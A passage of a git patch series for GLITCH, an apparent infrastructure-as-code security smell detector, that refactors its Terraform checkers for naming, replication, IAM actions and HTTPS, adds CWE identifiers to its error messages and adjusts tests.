self.check_required_attribute(ingress.keyvalues, [""], "description"): + errors.append(Error('sec_naming', element, file, repr(element), + f"Suggestion: check for a required attribute with name 'ingress.description'.")) + if egress and not self.check_required_attribute(egress.keyvalues, [""], "description"): + errors.append(Error('sec_naming', element, file, repr(element), + f"Suggestion: check for a required attribute with name 'egress.description'.")) + elif (element.type == "resource.google_container_cluster"): + resource_labels = self.check_required_attribute(element.attributes, [""], "resource_labels", None) + if resource_labels and resource_labels.value == None: + if resource_labels.keyvalues == []: + errors.append(Error('sec_naming', resource_labels, file, repr(resource_labels), + f"Suggestion: check empty 'resource_labels'.")) + else: + errors.append(Error('sec_naming', element, file, repr(element), + f"Suggestion: check for a required attribute with name 'resource_labels'.")) + + for config in SecurityVisitor._NAMING: + if (config['required'] == "yes" and element.type in config['au_type'] + and not self.check_required_attribute(element.attributes, config['parents'], config['attribute'])): + errors.append(Error('sec_naming', element, file, repr(element), + f"Suggestion: check for a required attribute with name '{config['msg']}'.")) + + elif isinstance(element, Attribute) or isinstance(element, Variable): + if (elem_name == "name" and au_type in ["resource.azurerm_storage_account"]): + pattern = r'^[a-z0-9]{3,24}$' + if not re.match(pattern, elem_value): + errors.append(Error('sec_naming', element, file, repr(element))) + + for config in SecurityVisitor._NAMING: + if (elem_name == config['attribute'] and au_type in config['au_type'] + and parent_name in config['parents'] and config['values'] != [""]): + if ("any_not_empty" in config['values'] and elem_value.lower() == ""): + errors.append(Error('sec_naming', element, file, repr(element))) + break + elif ("any_not_empty" not in config['values'] and not element.has_variable and + elem_value.lower() not in config['values']): + errors.append(Error('sec_naming', element, file, repr(element))) + break + return errors + + class TerraformReplication(TerraformSmellChecker): + def check(self, element, file: str, code, elem_name: str, elem_value: str = "", au_type = None, parent_name = ""): + errors = [] + if isinstance(element, AtomicUnit): + if (element.type == "resource.aws_s3_bucket"): + expr = "\${aws_s3_bucket\." + f"{elem_name}\." + pattern = re.compile(rf"{expr}") + if not self.get_associated_au(code, file, "resource.aws_s3_bucket_replication_configuration", + "bucket", pattern, [""]): + errors.append(Error('sec_replication', element, file, repr(element), + f"Suggestion: check for a required resource 'aws_s3_bucket_replication_configuration' " + + f"associated to an 'aws_s3_bucket' resource.")) + + for config in SecurityVisitor._REPLICATION: + if (config['required'] == "yes" and element.type in config['au_type'] + and not self.check_required_attribute(element.attributes, config['parents'], config['attribute'])): + errors.append(Error('sec_replication', element, file, repr(element), + f"Suggestion: check for a required attribute with name '{config['msg']}'.")) + + elif isinstance(element, Attribute) or isinstance(element, Variable): + for config in SecurityVisitor._REPLICATION: + if (elem_name == config['attribute'] and au_type in config['au_type'] + and parent_name in config['parents'] and config['values'] != [""] + and not element.has_variable and elem_value.lower() not in config['values']): + return [Error('sec_replication', element, file, repr(element))] + return errors + + class EmptyChecker(SmellChecker): + def check(self, element, file: str, code, elem_name: str, elem_value: str = "", au_type = None, parent_name = ""): + return [] + + def __init__(self, tech: Tech) -> None: + super().__init__(tech) + + if tech == Tech.terraform: + self.integrity_policy = SecurityVisitor.TerraformIntegrityPolicy() + self.https = SecurityVisitor.TerraformHttpWithoutTls() + self.ssl_tls_policy = SecurityVisitor.TerraformSslTlsPolicy() + self.dnssec = SecurityVisitor.TerraformDnsWithoutDnssec() + self.public_ip = SecurityVisitor.TerraformPublicIp() + self.access_control = SecurityVisitor.TerraformAccessControl() + self.authentication = SecurityVisitor.TerraformAuthentication() + self.missing_encryption = SecurityVisitor.TerraformMissingEncryption() + self.firewall_misconfig = SecurityVisitor.TerraformFirewallMisconfig() + self.threats_detection = SecurityVisitor.TerraformThreatsDetection() + self.weak_password_key_policy = SecurityVisitor.TerraformWeakPasswordKeyPolicy() + self.sensitive_iam_action = SecurityVisitor.TerraformSensitiveIAMAction() + self.key_management = SecurityVisitor.TerraformKeyManagement() + self.network_security_rules = SecurityVisitor.TerraformNetworkSecurityRules() + self.permission_iam_policies = SecurityVisitor.TerraformPermissionIAMPolicies() + self.logging = SecurityVisitor.TerraformLogging() + self.attached_resource = SecurityVisitor.TerraformAttachedResource() + self.versioning = SecurityVisitor.TerraformVersioning() + self.naming = SecurityVisitor.TerraformNaming() + self.replication = SecurityVisitor.TerraformReplication() + else: + self.integrity_policy = SecurityVisitor.EmptyChecker() + self.https = SecurityVisitor.EmptyChecker() + self.ssl_tls_policy = SecurityVisitor.EmptyChecker() + self.dnssec = SecurityVisitor.EmptyChecker() + self.public_ip = SecurityVisitor.EmptyChecker() + self.access_control = SecurityVisitor.EmptyChecker() + self.authentication = SecurityVisitor.EmptyChecker() + self.missing_encryption = SecurityVisitor.EmptyChecker() + self.firewall_misconfig = SecurityVisitor.EmptyChecker() + self.threats_detection = SecurityVisitor.EmptyChecker() + self.weak_password_key_policy = SecurityVisitor.EmptyChecker() + self.sensitive_iam_action = SecurityVisitor.EmptyChecker() + self.key_management = SecurityVisitor.EmptyChecker() + self.network_security_rules = SecurityVisitor.EmptyChecker() + self.permission_iam_policies = SecurityVisitor.EmptyChecker() + self.logging = SecurityVisitor.EmptyChecker() + self.attached_resource = SecurityVisitor.EmptyChecker() + self.versioning = SecurityVisitor.EmptyChecker() + self.naming = SecurityVisitor.EmptyChecker() + self.replication = SecurityVisitor.EmptyChecker() + + @staticmethod + def get_name() -> str: + return "security" + + def config(self, config_path: str): + config = configparser.ConfigParser() + config.read(config_path) + SecurityVisitor.__WRONG_WORDS = json.loads(config['security']['suspicious_words']) + SecurityVisitor.__PASSWORDS = json.loads(config['security']['passwords']) + SecurityVisitor.__USERS = json.loads(config['security']['users']) + SecurityVisitor.__SECRETS = json.loads(config['security']['secrets']) + SecurityVisitor.__MISC_SECRETS = json.loads(config['security']['misc_secrets']) + SecurityVisitor.__ROLES = json.loads(config['security']['roles']) + SecurityVisitor.__DOWNLOAD = json.loads(config['security']['download_extensions']) + SecurityVisitor.__SSH_DIR = json.loads(config['security']['ssh_dirs']) + SecurityVisitor.__ADMIN = json.loads(config['security']['admin']) + SecurityVisitor.__CHECKSUM = json.loads(config['security']['checksum']) + SecurityVisitor.__CRYPT = json.loads(config['security']['weak_crypt']) + SecurityVisitor.__CRYPT_WHITELIST = json.loads(config['security']['weak_crypt_whitelist']) + SecurityVisitor.__URL_WHITELIST = json.loads(config['security']['url_http_white_list']) + SecurityVisitor.__SENSITIVE_DATA = json.loads(config['security']['sensitive_data']) + SecurityVisitor.__KEY_ASSIGN = json.loads(config['security']['key_value_assign']) + SecurityVisitor.__GITHUB_ACTIONS = json.loads(config['security']['github_actions_resources']) + SecurityVisitor._INTEGRITY_POLICY = json.loads(config['security']['integrity_policy']) + SecurityVisitor.__SECRETS_WHITELIST = json.loads(config['security']['secrets_white_list']) + SecurityVisitor._HTTPS_CONFIGS = json.loads(config['security']['ensure_https']) + SecurityVisitor._SSL_TLS_POLICY = json.loads(config['security']['ssl_tls_policy']) + SecurityVisitor._DNSSEC_CONFIGS = json.loads(config['security']['ensure_dnssec']) + SecurityVisitor._PUBLIC_IP_CONFIGS = json.loads(config['security']['use_public_ip']) + SecurityVisitor._POLICY_KEYWORDS = json.loads(config['security']['policy_keywords']) + SecurityVisitor._ACCESS_CONTROL_CONFIGS = json.loads(config['security']['insecure_access_control']) + SecurityVisitor._AUTHENTICATION = json.loads(config['security']['authentication']) + SecurityVisitor._POLICY_ACCESS_CONTROL = json.loads(config['security']['policy_insecure_access_control']) + SecurityVisitor._POLICY_AUTHENTICATION = json.loads(config['security']['policy_authentication']) + SecurityVisitor._MISSING_ENCRYPTION = json.loads(config['security']['missing_encryption']) + SecurityVisitor._CONFIGURATION_KEYWORDS = json.loads(config['security']['configuration_keywords']) + SecurityVisitor._ENCRYPT_CONFIG = json.loads(config['security']['encrypt_configuration']) + SecurityVisitor._FIREWALL_CONFIGS = json.loads(config['security']['firewall']) + SecurityVisitor._MISSING_THREATS_DETECTION_ALERTS = json.loads(config['security']['missing_threats_detection_alerts']) + SecurityVisitor._PASSWORD_KEY_POLICY = json.loads(config['security']['password_key_policy']) + SecurityVisitor._KEY_MANAGEMENT = json.loads(config['security']['key_management']) + SecurityVisitor._NETWORK_SECURITY_RULES = json.loads(config['security']['network_security_rules']) + SecurityVisitor._PERMISSION_IAM_POLICIES = json.loads(config['security']['permission_iam_policies']) + SecurityVisitor._GOOGLE_IAM_MEMBER = json.loads(config['security']['google_iam_member_resources']) + SecurityVisitor._LOGGING = json.loads(config['security']['logging']) + SecurityVisitor._GOOGLE_SQL_DATABASE_LOG_FLAGS = json.loads(config['security']['google_sql_database_log_flags']) + SecurityVisitor._POSSIBLE_ATTACHED_RESOURCES = json.loads(config['security']['possible_attached_resources_aws_route53']) + SecurityVisitor._VERSIONING = json.loads(config['security']['versioning']) + SecurityVisitor._NAMING = json.loads(config['security']['naming']) + SecurityVisitor._REPLICATION = json.loads(config['security']['replication']) + + def check_atomicunit(self, au: AtomicUnit, file: str) -> list[Error]: + errors = super().check_atomicunit(au, file) + # Check integrity check + for a in au.attributes: + if isinstance(a.value, str): value = a.value.strip().lower() + else: value = repr(a.value).strip().lower() + + for item in SecurityVisitor.__DOWNLOAD: + if re.search(r'(http|https|www)[^ ,]*\.{text}'.format(text = item), value): + integrity_check = False + for other in au.attributes: + name = other.name.strip().lower() + if any([check in name for check in SecurityVisitor.__CHECKSUM]): + integrity_check = True + break + + if not integrity_check: + errors.append(Error('sec_no_int_check', au, file, repr(a))) + + break + + errors += self.integrity_policy.check(au, file, self.code, au.name) + errors += self.https.check(au, file, self.code, au.name) + errors += self.ssl_tls_policy.check(au, file, self.code, au.name) + errors += self.dnssec.check(au, file, self.code, au.name) + errors += self.public_ip.check(au, file, self.code, au.name) + errors += self.access_control.check(au, file, self.code, au.name) + errors += self.authentication.check(au, file, self.code, au.name) + errors += self.missing_encryption.check(au, file, self.code, au.name) + errors += self.firewall_misconfig.check(au, file, self.code, au.name) + errors += self.threats_detection.check(au, file, self.code, au.name) + errors += self.weak_password_key_policy.check(au, file, self.code, au.name) + errors += self.sensitive_iam_action.check(au, file, self.code, au.name) + errors += self.key_management.check(au, file, self.code, au.name) + errors += self.network_security_rules.check(au, file, self.code, au.name) + errors += self.permission_iam_policies.check(au, file, self.code, au.name) + errors += self.logging.check(au, file, self.code, au.name) + errors += self.attached_resource.check(au, file, self.code, au.name) + errors += self.versioning.check(au, file, self.code, au.name) + errors += self.naming.check(au, file, self.code, au.name) + errors += self.replication.check(au, file, self.code, au.name) return errors @@ -869,250 +1292,26 @@ def get_module_var(c, name: str): has_variable = False value = var.value - for config in SecurityVisitor.__HTTPS_CONFIGS: - if (name == config["attribute"] and au_type in config["au_type"] - and parent_name in config["parents"] and not has_variable and value.lower() not in config["values"]): - errors.append(Error('sec_https', c, file, repr(c))) - break - - for policy in SecurityVisitor.__INTEGRITY_POLICY: - if (name == policy['attribute'] and au_type in policy['au_type'] - and parent_name in policy['parents'] and not has_variable and value.lower() not in policy['values']): - errors.append(Error('sec_integrity_policy', c, file, repr(c))) - break - - for policy in SecurityVisitor.__SSL_TLS_POLICY: - if (name == policy['attribute'] and au_type in policy['au_type'] - and parent_name in policy['parents'] and not has_variable and value.lower() not in policy['values']): - errors.append(Error('sec_ssl_tls_policy', c, file, repr(c))) - break - - for config in SecurityVisitor.__DNSSEC_CONFIGS: - if (name == config['attribute'] and au_type in config['au_type'] - and parent_name in config['parents'] and not has_variable and value.lower() not in config['values'] - and config['values'] != [""]): - errors.append(Error('sec_dnssec', c, file, repr(c))) - break - - for config in SecurityVisitor.__PUBLIC_IP_CONFIGS: - if (name == config['attribute'] and au_type in config['au_type'] - and parent_name in config['parents'] and not has_variable and value.lower() not in config['values'] - and config['values'] != [""]): - errors.append(Error('sec_public_ip', c, file, repr(c))) - break - - for item in SecurityVisitor.__POLICY_KEYWORDS: - if item.lower() == name: - for config in SecurityVisitor.__POLICY_ACCESS_CONTROL: - expr = config['keyword'].lower() + "\s*" + config['value'].lower() - pattern = re.compile(rf"{expr}") - allow_expr = "\"effect\":" + "\s*" + "\"allow\"" - allow_pattern = re.compile(rf"{allow_expr}") - if re.search(pattern, value) and re.search(allow_pattern, value): - errors.append(Error('sec_access_control', c, file, repr(c))) - for config in SecurityVisitor.__POLICY_AUTHENTICATION: - if au_type in config['au_type']: - expr = config['keyword'].lower() + "\s*" + config['value'].lower() - pattern = re.compile(rf"{expr}") - if not re.search(pattern, value): - errors.append(Error('sec_authentication', c, file, repr(c))) - - if (re.search(r"actions\[\d+\]", name) and parent_name == "permissions" - and au_type == "resource.azurerm_role_definition" and value == "*"): - errors.append(Error('sec_access_control', c, file, repr(c))) - elif (((re.search(r"members\[\d+\]", name) and au_type == "resource.google_storage_bucket_iam_binding") - or (name == "member" and au_type == "resource.google_storage_bucket_iam_member")) - and (value == "allusers" or value == "allauthenticatedusers")): - errors.append(Error('sec_access_control', c, file, repr(c))) - elif (name == "email" and parent_name == "service_account" - and au_type == "resource.google_compute_instance" - and re.search(r".-compute@developer.gserviceaccount.com", value)): - errors.append(Error('sec_access_control', c, file, repr(c))) - - for config in SecurityVisitor.__ACCESS_CONTROL_CONFIGS: - if (name == config['attribute'] and au_type in config['au_type'] - and parent_name in config['parents'] and not has_variable and value.lower() not in config['values'] - and config['values'] != [""]): - errors.append(Error('sec_access_control', c, file, repr(c))) - break - - for config in SecurityVisitor.__AUTHENTICATION: - if (name == config['attribute'] and au_type in config['au_type'] - and parent_name in config['parents'] and not has_variable and value.lower() not in config['values'] - and config['values'] != [""]): - errors.append(Error('sec_authentication', c, file, repr(c))) - break - - for config in SecurityVisitor.__MISSING_ENCRYPTION: - if (name == config['attribute'] and au_type in config['au_type'] - and parent_name in config['parents'] and config['values'] != [""]): - if ("any_not_empty" in config['values'] and value.lower() == ""): - errors.append(Error('sec_missing_encryption', c, file, repr(c))) - break - elif ("any_not_empty" not in config['values'] and not has_variable - and value.lower() not in config['values']): - errors.append(Error('sec_missing_encryption', c, file, repr(c))) - break - - for item in SecurityVisitor.__CONFIGURATION_KEYWORDS: - if item.lower() == name: - for config in SecurityVisitor.__ENCRYPT_CONFIG: - if au_type in config['au_type']: - expr = config['keyword'].lower() + "\s*" + config['value'].lower() - pattern = re.compile(rf"{expr}") - if not re.search(pattern, value) and config['required'] == "yes": - errors.append(Error('sec_missing_encryption', c, file, repr(c))) - elif re.search(pattern, value) and config['required'] == "must_not_exist": - errors.append(Error('sec_missing_encryption', c, file, repr(c))) - - for config in SecurityVisitor.__FIREWALL_CONFIGS: - if (name == config['attribute'] and au_type in config['au_type'] - and parent_name in config['parents'] and config['values'] != [""]): - if ("any_not_empty" in config['values'] and value.lower() == ""): - errors.append(Error('sec_firewall_misconfig', c, file, repr(c))) - break - elif ("any_not_empty" not in config['values'] and not has_variable and - value.lower() not in config['values']): - errors.append(Error('sec_firewall_misconfig', c, file, repr(c))) - break - - for config in SecurityVisitor.__MISSING_THREATS_DETECTION_ALERTS: - if (name == config['attribute'] and au_type in config['au_type'] - and parent_name in config['parents'] and config['values'] != [""]): - if ("any_not_empty" in config['values'] and value.lower() == ""): - errors.append(Error('sec_threats_detection_alerts', c, file, repr(c))) - break - elif ("any_not_empty" not in config['values'] and not has_variable and - value.lower() not in config['values']): - errors.append(Error('sec_threats_detection_alerts', c, file, repr(c))) - break - - for policy in SecurityVisitor.__PASSWORD_KEY_POLICY: - if (name == policy['attribute'] and au_type in policy['au_type'] - and parent_name in policy['parents'] and policy['values'] != [""]): - if (policy['logic'] == "equal"): - if ("any_not_empty" in policy['values'] and value.lower() == ""): - errors.append(Error('sec_weak_password_key_policy', c, file, repr(c))) - break - elif ("any_not_empty" not in policy['values'] and not has_variable and - value.lower() not in policy['values']): - errors.append(Error('sec_weak_password_key_policy', c, file, repr(c))) - break - elif ((policy['logic'] == "gte" and not value.isnumeric()) or - (policy['logic'] == "gte" and value.isnumeric() and int(value) < int(policy['values'][0]))): - errors.append(Error('sec_weak_password_key_policy', c, file, repr(c))) - break - elif ((policy['logic'] == "lte" and not value.isnumeric()) or - (policy['logic'] == "lte" and value.isnumeric() and int(value) > int(policy['values'][0]))): - errors.append(Error('sec_weak_password_key_policy', c, file, repr(c))) - break - - for config in SecurityVisitor.__KEY_MANAGEMENT: - if (name == config['attribute'] and au_type in config['au_type'] - and parent_name in config['parents'] and config['values'] != [""]): - if ("any_not_empty" in config['values'] and value.lower() == ""): - errors.append(Error('sec_key_management', c, file, repr(c))) - break - elif ("any_not_empty" not in config['values'] and not has_variable and - value.lower() not in config['values']): - errors.append(Error('sec_key_management', c, file, repr(c))) - break - - if (name == "rotation_period" and au_type == "resource.google_kms_crypto_key"): - expr1 = r'\d+\.\d{0,9}s' - expr2 = r'\d+s' - if (re.search(expr1, value) or re.search(expr2, value)): - if (int(value.split("s")[0]) > 7776000): - errors.append(Error('sec_key_management', c, file, repr(c))) - else: - errors.append(Error('sec_key_management', c, file, repr(c))) - elif (name == "kms_master_key_id" and ((au_type == "resource.aws_sqs_queue" - and value == "alias/aws/sqs") or (au_type == "resource.aws_sns_queue" - and value == "alias/aws/sns"))): - errors.append(Error('sec_key_management', c, file, repr(c))) - - for rule in SecurityVisitor.__NETWORK_SECURITY_RULES: - if (name == rule['attribute'] and au_type in rule['au_type'] and parent_name in rule['parents'] - and not has_variable and value.lower() not in rule['values'] and rule['values'] != [""]): - errors.append(Error('sec_network_security_rules', c, file, repr(c))) - break - - if ((name == "member" or name.split('[')[0] == "members") - and au_type in SecurityVisitor.__GOOGLE_IAM_MEMBER - and (re.search(r".-compute@developer.gserviceaccount.com", value) or - re.search(r".@appspot.gserviceaccount.com", value) or - re.search(r"user:", value))): - errors.append(Error('sec_permission_iam_policies', c, file, repr(c))) - - for config in SecurityVisitor.__PERMISSION_IAM_POLICIES: - if (name == config['attribute'] and au_type in config['au_type'] - and parent_name in config['parents'] and config['values'] != [""]): - if ((config['logic'] == "equal" and not has_variable and value.lower() not in config['values']) - or (config['logic'] == "diff" and value.lower() in config['values'])): - errors.append(Error('sec_permission_iam_policies', c, file, repr(c))) - break - - if (name == "cloud_watch_logs_group_arn" and au_type == "resource.aws_cloudtrail"): - if re.match(r"^\${aws_cloudwatch_log_group\..", value): - aws_cloudwatch_log_group_name = value.split('.')[1] - if not get_au(self.code, aws_cloudwatch_log_group_name, "resource.aws_cloudwatch_log_group"): - errors.append(Error('sec_logging', c, file, repr(c), - f"Suggestion: check for a required resource 'aws_cloudwatch_log_group' " + - f"with name '{aws_cloudwatch_log_group_name}'.")) - else: - errors.append(Error('sec_logging', c, file, repr(c))) - elif (((name == "retention_in_days" and parent_name == "" - and au_type in ["resource.azurerm_mssql_database_extended_auditing_policy", - "resource.azurerm_mssql_server_extended_auditing_policy"]) - or (name == "days" and parent_name == "retention_policy" - and au_type == "resource.azurerm_network_watcher_flow_log")) - and ((not value.isnumeric()) or (value.isnumeric() and int(value) < 90))): - errors.append(Error('sec_logging', c, file, repr(c))) - elif (name == "days" and parent_name == "retention_policy" - and au_type == "resource.azurerm_monitor_log_profile" - and (not value.isnumeric() or (value.isnumeric() and int(value) < 365))): - errors.append(Error('sec_logging', c, file, repr(c))) - - for config in SecurityVisitor.__LOGGING: - if (name == config['attribute'] and au_type in config['au_type'] - and parent_name in config['parents'] and config['values'] != [""]): - if ("any_not_empty" in config['values'] and value.lower() == ""): - errors.append(Error('sec_logging', c, file, repr(c))) - break - elif ("any_not_empty" not in config['values'] and not has_variable and - value.lower() not in config['values']): - errors.append(Error('sec_logging', c, file, repr(c))) - break - - for config in SecurityVisitor.__VERSIONING: - if (name == config['attribute'] and au_type in config['au_type'] - and parent_name in config['parents'] and config['values'] != [""] - and not has_variable and value.lower() not in config['values']): - errors.append(Error('sec_versioning', c, file, repr(c))) - break - - if (name == "name" and au_type in ["resource.azurerm_storage_account"]): - pattern = r'^[a-z0-9]{3,24}$' - if not re.match(pattern, value): - errors.append(Error('sec_naming', c, file, repr(c))) - - for config in SecurityVisitor.__NAMING: - if (name == config['attribute'] and au_type in config['au_type'] - and parent_name in config['parents'] and config['values'] != [""]): - if ("any_not_empty" in config['values'] and value.lower() == ""): - errors.append(Error('sec_naming', c, file, repr(c))) - break - elif ("any_not_empty" not in config['values'] and not has_variable and - value.lower() not in config['values']): - errors.append(Error('sec_naming', c, file, repr(c))) - break - - for config in SecurityVisitor.__REPLICATION: - if (name == config['attribute'] and au_type in config['au_type'] - and parent_name in config['parents'] and config['values'] != [""] - and not has_variable and value.lower() not in config['values']): - errors.append(Error('sec_replication', c, file, repr(c))) - break + errors += self.https.check(c, file, self.code, name, value, au_type, parent_name) + errors += self.integrity_policy.check(c, file, self.code, name, value, au_type, parent_name) + errors += self.ssl_tls_policy.check(c, file, self.code, name, value, au_type, parent_name) + errors += self.dnssec.check(c, file, self.code, name, value, au_type, parent_name) + errors += self.public_ip.check(c, file, self.code, name, value, au_type, parent_name) + errors += self.access_control.check(c, file, self.code, name, value, au_type, parent_name) + errors += self.authentication.check(c, file, self.code, name, value, au_type, parent_name) + errors += self.missing_encryption.check(c, file, self.code, name, value, au_type, parent_name) + errors += self.firewall_misconfig.check(c, file, self.code, name, value, au_type, parent_name) + errors += self.threats_detection.check(c, file, self.code, name, value, au_type, parent_name) + errors += self.weak_password_key_policy.check(c, file, self.code, name, value, au_type, parent_name) + errors += self.sensitive_iam_action.check(c, file, self.code, name, value, au_type, parent_name) + errors += self.key_management.check(c, file, self.code, name, value, au_type, parent_name) + errors += self.network_security_rules.check(c, file, self.code, name, value, au_type, parent_name) + errors += self.permission_iam_policies.check(c, file, self.code, name, value, au_type, parent_name) + errors += self.logging.check(c, file, self.code, name, value, au_type, parent_name) + errors += self.attached_resource.check(c, file, self.code, name, value, au_type, parent_name) + errors += self.versioning.check(c, file, self.code, name, value, au_type, parent_name) + errors += self.naming.check(c, file, self.code, name, value, au_type, parent_name) + errors += self.replication.check(c, file, self.code, name, value, au_type, parent_name) return errors diff --git a/glitch/tests/security/terraform/test_security.py b/glitch/tests/security/terraform/test_security.py index 38bfb396..bcd4cb0e 100644 --- a/glitch/tests/security/terraform/test_security.py +++ b/glitch/tests/security/terraform/test_security.py @@ -1000,6 +1000,3 @@ def test_terraform_replication(self): "tests/security/terraform/files/replication/s3-bucket-cross-region-replication.tf", 2, ["sec_replication", "sec_replication"], [9, 16] ) - -if __name__ == '__main__': - unittest.main() \ No newline at end of file From d937b0715800d8210b12debb1a65ec83aeef84bd Mon Sep 17 00:00:00 2001 From: joaotgoncalves Date: Tue, 3 Oct 2023 12:59:17 +0100 Subject: [PATCH 44/58] changes to improve GLITCH precision, unit tests updated. --- glitch/analysis/rules.py | 29 ++-- glitch/analysis/security.py | 146 ++++++++++++------ glitch/configs/default.ini | 20 ++- glitch/parsers/cmof.py | 7 +- glitch/tests/parser/terraform/test_parser.py | 4 +- .../tests/security/ansible/test_security.py | 2 +- glitch/tests/security/chef/test_security.py | 2 +- glitch/tests/security/puppet/test_security.py | 2 +- .../alb-exposed-to-internet.tf | 4 +- .../aws-iam-no-policy-wildcards.tf | 2 +- .../tests/security/terraform/test_security.py | 4 +- 11 files changed, 143 insertions(+), 79 deletions(-) diff --git a/glitch/analysis/rules.py b/glitch/analysis/rules.py index 70e61831..8fef9828 100644 --- a/glitch/analysis/rules.py +++ b/glitch/analysis/rules.py @@ -16,24 +16,24 @@ class Error(): 'sec_invalid_bind': "Invalid IP address binding - Binding to the address 0.0.0.0 allows connections from every possible network which might be a security issues. (CWE-284)", 'sec_no_int_check': "No integrity check - The content of files downloaded from the internet should be checked. (CWE-353)", 'sec_no_default_switch': "Missing default case statement - Not handling every possible input combination might allow an attacker to trigger an error for an unhandled value. (CWE-478)", - 'sec_integrity_policy': "Integrity Policy - Image tag is prone to be mutable or integrity monitoring is disabled.", - 'sec_ssl_tls_policy': "SSL/TLS/mTLS Policy - Developers should use SSL/TLS/mTLS protocols and their secure versions.", - 'sec_dnssec': "Use of DNS without DNSSEC - Developers should favor the usage of DNSSEC while using DNS.", - 'sec_public_ip': "Associated Public IP address - Associating Public IP addresses allows connections from public internet.", + 'sec_integrity_policy': "Integrity Policy - Image tag is prone to be mutable or integrity monitoring is disabled. (CWE-471)", + 'sec_ssl_tls_policy': "SSL/TLS/mTLS Policy - Developers should use SSL/TLS/mTLS protocols and their secure versions. (CWE-326)", + 'sec_dnssec': "Use of DNS without DNSSEC - Developers should favor the usage of DNSSEC while using DNS. (CWE-350)", + 'sec_public_ip': "Associated Public IP address - Associating Public IP addresses allows connections from public internet. (CWE-1327)", 'sec_access_control': "Insecure Access Control - Developers should be aware of possible unauthorized access. (CWE-284)", 'sec_authentication': "Disabled/Weak Authentication - Developers should guarantee that authentication is enabled. (CWE-287 | CWE-306)", 'sec_missing_encryption': "Missing Encryption - Developers should ensure encryption of sensitive and critical data. (CWE-311)", 'sec_firewall_misconfig': "Firewall Misconfiguration - Developers should favor the usage of a well configured waf. (CWE-693)", - 'sec_threats_detection_alerts': "Missing Threats Detection/Alerts - Developers should enable threats detection and alerts when it is possible.", + 'sec_threats_detection_alerts': "Missing Threats Detection/Alerts - Developers should enable threats detection and alerts when it is possible. (CWE-693)", 'sec_weak_password_key_policy': "Weak Password/Key Policy - Developers should favor the usage of strong password/key requirements and configurations. (CWE-521).", - 'sec_sensitive_iam_action': "Sensitive Action by IAM - Developers should use the principle of least privilege when defining IAM policies.", - 'sec_key_management': "Key Management - Developers should use well configured Customer Managed Keys (CMK) for encryption.", - 'sec_network_security_rules': "Network Security Rules - Developers should enforce that only secure network rules are being used.", - 'sec_permission_iam_policies': "Permission of IAM Policies - Developers should be aware of unwanted permissions of IAM policies.", - 'sec_logging': "Logging - Logs should be enabled and securely configured to help monitoring and preventing security problems.", - 'sec_attached_resource': "Attached Resource - Ensure that Route53 A records point to resources part of your account rather than just random IP addresses.", + 'sec_sensitive_iam_action': "Sensitive Action by IAM - Developers should use the principle of least privilege when defining IAM policies. (CWE-284)", + 'sec_key_management': "Key Management - Developers should use well configured Customer Managed Keys (CMK) for encryption. (CWE-1394)", + 'sec_network_security_rules': "Network Security Rules - Developers should enforce that only secure network rules are being used. (CWE-923)", + 'sec_permission_iam_policies': "Permission of IAM Policies - Developers should be aware of unwanted permissions of IAM policies. (CWE-732 | CWE-284)", + 'sec_logging': "Logging - Logs should be enabled and securely configured to help monitoring and preventing security problems. (CWE-223 | CWE-778)", + 'sec_attached_resource': "Attached Resource - Ensure that Route53 A records point to resources part of your account rather than just random IP addresses. (CWE-200)", 'sec_versioning': "Versioning - Ensure that versioning is enabled so that users can retrieve and restore previous versions.", - 'sec_naming': "Naming - Ensure storage accounts adhere to the naming rules and every security groups and rules have a description.", + 'sec_naming': "Naming - Ensure storage accounts adhere to the naming rules and every security groups and rules have a description. (CWE-1099 | CWE-710)", 'sec_replication': "Replication - Ensure that cross-region replication is enabled to allow copying objects across S3 buckets." }, 'design': { @@ -73,7 +73,10 @@ def __init__(self, code: str, el, path: str, repr: str, opt_msg: str = None) -> def to_csv(self) -> str: repr = self.repr.split('\n')[0].strip() - return f"{self.path},{self.line},{self.code},{repr}" + if self.opt_msg: + return f"{self.path},{self.line},{self.code},{repr},{self.opt_msg}" + else: + return f"{self.path},{self.line},{self.code},{repr},-" def __repr__(self) -> str: with open(self.path) as f: diff --git a/glitch/analysis/security.py b/glitch/analysis/security.py index c8c4a135..dbdd81a0 100644 --- a/glitch/analysis/security.py +++ b/glitch/analysis/security.py @@ -4,6 +4,7 @@ import configparser from urllib.parse import urlparse from glitch.analysis.rules import Error, RuleVisitor, SmellChecker +from nltk.tokenize import WordPunctTokenizer from glitch.tech import Tech from glitch.repr.inter import * @@ -64,9 +65,11 @@ def get_attributes_with_name_and_value(self, attributes, parents, name, value = aux += self.get_attributes_with_name_and_value(a.keyvalues, parents, name, value, pattern) return aux - def check_required_attribute(self, attributes, parents, name, value = None, pattern = None): + def check_required_attribute(self, attributes, parents, name, value = None, pattern = None, return_all = False): attributes = self.get_attributes_with_name_and_value(attributes, parents, name, value, pattern) if attributes != []: + if return_all: + return attributes return attributes[0] else: return None @@ -118,10 +121,21 @@ def check(self, element, file: str, code, elem_name: str, elem_value: str = "", if (element.type == "data.http"): url = self.check_required_attribute(element.attributes, [""], "url") if ("${" in url.value): + vars = url.value.split("${") r = url.value.split("${")[1].split("}")[0] - resource_type = r.split(".")[0] - resource_name = r.split(".")[1] - if self.get_au(code, file, resource_name, "resource." + resource_type): + for var in vars: + if "data" in var or "resource" in var: + r = var.split("}")[0] + break + type = r.split(".")[0] + if type in ["data", "resource"]: + resource_type = r.split(".")[1] + resource_name = r.split(".")[2] + else: + type = "resource" + resource_type = r.split(".")[0] + resource_name = r.split(".")[1] + if self.get_au(code, file, resource_name, type + "." + resource_type): errors.append(Error('sec_https', url, file, repr(url))) for config in SecurityVisitor._HTTPS_CONFIGS: @@ -485,30 +499,72 @@ def check(self, element, file: str, code, elem_name: str, elem_value: str = "", class TerraformSensitiveIAMAction(TerraformSmellChecker): def check(self, element, file: str, code, elem_name: str, elem_value: str = "", au_type = None, parent_name = ""): errors = [] + + def convert_string_to_dict(input_string): + cleaned_string = input_string.strip() + try: + dict_data = json.loads(cleaned_string) + return dict_data + except json.JSONDecodeError as e: + return None + if isinstance(element, AtomicUnit): if (element.type == "data.aws_iam_policy_document"): - allow = self.check_required_attribute(element.attributes, ["statement"], "effect") - if ((allow and allow.value.lower() == "allow") or (not allow)): - sensitive_action = False - i = 0 - action = self.check_required_attribute(element.attributes, ["statement"], f"actions[{i}]") - while action: - if action.value.lower() in ["s3:*", "s3:getobject"]: - sensitive_action = True - break - i += 1 - action = self.check_required_attribute(element.attributes, ["statement"], f"actions[{i}]") - sensitive_resource = False - i = 0 - resource = self.check_required_attribute(element.attributes, ["statement"], f"resources[{i}]") - while resource: - if resource.value.lower() in 